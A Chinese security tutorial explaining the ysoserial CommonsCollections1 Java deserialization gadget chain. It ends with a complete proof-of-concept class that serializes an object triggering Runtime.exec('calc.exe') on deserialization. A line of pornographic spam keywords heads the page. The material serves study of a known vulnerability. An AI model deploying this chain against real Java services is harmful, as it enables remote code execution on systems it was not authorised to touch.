欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

java安全?ysoserial?CommonsCollections1示例解析

 更新時(shí)間:2022年10月29日 09:55:21   作者:功夫小熊貓  
這篇文章主要介紹了java安全?ysoserial?CommonsCollections1示例解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪

正文

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
    Requires:
        commons-collections
 */

先假設(shè)Runtime類可序列化

先假設(shè)Runtime類可序列化,最終要實(shí)現(xiàn):

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

調(diào)用InvokerTransformer.transform()

從最后一步開始,調(diào)用InvokerTransformer.transform()

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

transform方法實(shí)現(xiàn)了完整的反射,通過InvokerTransformer構(gòu)造方法傳入方法和參數(shù)。

所以這一步的利用鏈

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

InvokerTransformer的transform調(diào)用

InvokerTransformer的transform的調(diào)用,在ChainedTransformer的transform實(shí)現(xiàn)。

public ChainedTransformer(Transformer[] transformers) {
  super();
  iTransformers = transformers;
}
public Object transform(Object object) {
  for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
  }
  return object;
}

如果Transformer[]里面的對(duì)象是:

Transformer[0]:new ConstantTransformer(runtime)

Transformer[1]:invokerTransformer

第一次循環(huán):(new ConstantTransformer(runtime)).transform() runtime對(duì)象返回給object

第二次循環(huán):invokerTransformer.transform(runtime)

所以這一步的利用鏈:

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime),invokerTransformer});
chainedTransformer.transform(1);

ChainedTransformer的transform誰來調(diào)?

LazyMap的get方法存在transform調(diào)用(key不存在的時(shí)候)。

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }
    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        out.writeObject(map);
    }
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        map = (Map) in.readObject();
    }
    //-----------------------------------------------------------------------
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
}

通過decorate方法,修改this.factory為chainedTransformer對(duì)象,最后通過get不存在的key調(diào)用chainedTransformer的transform

所以利用鏈

HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get(1);

lazyMap的get誰來調(diào)用?

這里面用的AnnotationInvocationHandler的invoke,該方法存在某個(gè)屬性的get,屬性可通過構(gòu)造方法改變。

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }
    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();
        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");
        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }
        // Handle annotation member accessors
        Object result = memberValues.get(member);
        if (result == null)
            throw new IncompleteAnnotationException(type, member);
        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();
        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);
        return result;
    }
    /**
     * This method, which clones its array argument, would not be necessary
     * if Cloneable had a public clone method.
     */

因?yàn)锳nnotationInvocationHandler類非public,通過反射調(diào)用

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);

對(duì)象初始化memberValues,得到對(duì)象handler,接下來就是讓handler對(duì)象執(zhí)行invoke

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

proxyMap已經(jīng)有了,那么應(yīng)該怎么觸發(fā)handler執(zhí)行方法,來調(diào)用invoke方法
AnnotationInvocationHandler的readobject方法,存在對(duì)memberValues執(zhí)行entrySet()

所以用proxyMap對(duì)象重新生成一個(gè)AnnotationInvocationHandler對(duì)象

InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
handle

AnnotationInvocationHandler的readobject重寫

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

最后AnnotationInvocationHandler對(duì)象反序列化,執(zhí)行readobject也就觸發(fā)了proxyMap的invoke方法

要解決的問題:Runtime類未實(shí)現(xiàn)Serializable,需要使用反射調(diào)用,反射方法用什么來觸發(fā)執(zhí)行?

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

反射方式實(shí)現(xiàn):

Class cr = Class.forName("java.lang.Runtime");
Method getRuntime = cr.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimemethod.invoke(null, null);
Method execmethod = cr.getMethod("exec", String.class);
execmethod.invoke(runtimemethod,"calc.exe");

反射方法通過InvokerTransformer實(shí)現(xiàn)

Class cr = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(cr);
Runtime runtimemethod = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(runtimemethod);

ChainedTransformer中的transform正好實(shí)現(xiàn)了這組鏈的調(diào)用

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

所以最后runtime的實(shí)現(xiàn)利用鏈:

Transformer[] transformers = {
  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
chainedTransformerruntime.transform(cr);

最終實(shí)現(xiàn)的利用鏈:

public class CC1Test3 {
    public static void main(String[] args) throws Exception {
        Class cr = Class.forName("java.lang.Runtime");
        Transformer[] transformers = {
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(cr),chainedTransformerruntime});
        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc1.ser"));
        objectOutputStream.writeObject(handle);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc1.ser"));
        objectInputStream.readObject();
    }
}

以上就是java安全 ysoserial CommonsCollections1示例解析的詳細(xì)內(nèi)容,更多關(guān)于java安全 ysoserial CommonsCollections的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • Java中Boolean引發(fā)缺陷的解決

    Java中Boolean引發(fā)缺陷的解決

    本文主要介紹了Java中Boolean引發(fā)缺陷的解決,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-06-06
  • springboot 如何取消starter的自動(dòng)注入

    springboot 如何取消starter的自動(dòng)注入

    這篇文章主要介紹了springboot 如何取消starter的自動(dòng)注入操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2021-09-09
  • 如何使用Spring Security實(shí)現(xiàn)用戶-角色-資源的權(quán)限控制

    如何使用Spring Security實(shí)現(xiàn)用戶-角色-資源的權(quán)限控制

    文章介紹了如何通過SpringSecurity實(shí)現(xiàn)用戶-角色-資源的權(quán)限管理,包括基于角色的請(qǐng)求控制、加載用戶角色信息、角色與資源的關(guān)聯(lián)等步驟,同時(shí),提供了一些測(cè)試場(chǎng)景,以驗(yàn)證權(quán)限控制是否正確,感興趣的朋友跟隨小編一起看看吧
    2024-10-10
  • Sax解析xml_動(dòng)力節(jié)點(diǎn)Java學(xué)院整理

    Sax解析xml_動(dòng)力節(jié)點(diǎn)Java學(xué)院整理

    這篇文章主要介紹了Sax解析xml,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧
    2017-08-08
  • SpringBoot中修改依賴版本的方法

    SpringBoot中修改依賴版本的方法

    這篇文章主要介紹了SpringBoot中如何修改依賴的版本,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2023-08-08
  • java中使用Filter控制用戶登錄權(quán)限具體實(shí)例

    java中使用Filter控制用戶登錄權(quán)限具體實(shí)例

    java中使用Filter控制用戶登錄權(quán)限具體實(shí)例,需要的朋友可以參考一下
    2013-06-06
  • Java Scanner如何獲取字符串和帶空格的字符串

    Java Scanner如何獲取字符串和帶空格的字符串

    這篇文章主要介紹了Java Scanner如何獲取字符串和帶空格的字符串問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-08-08
  • 解決spring boot 配置文件后綴的一個(gè)坑

    解決spring boot 配置文件后綴的一個(gè)坑

    這篇文章主要介紹了spring boot 配置文件后綴的一個(gè)坑,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2021-09-09
  • 劍指Offer之Java算法習(xí)題精講求和篇

    劍指Offer之Java算法習(xí)題精講求和篇

    跟著思路走,之后從簡單題入手,反復(fù)去看,做過之后可能會(huì)忘記,之后再做一次,記不住就反復(fù)做,反復(fù)尋求思路和規(guī)律,慢慢積累就會(huì)發(fā)現(xiàn)質(zhì)的變化
    2022-03-03
  • 重試框架Guava-Retry和spring-Retry的使用示例

    重試框架Guava-Retry和spring-Retry的使用示例

    spring-retry 和 guava-retry 工具都是線程安全的重試,能夠支持并發(fā)業(yè)務(wù)場(chǎng)景的重試邏輯正確性,本文主要介紹了重試框架Guava-Retry和spring-Retry的使用示例,感興趣的可以一下
    2023-09-09

最新評(píng)論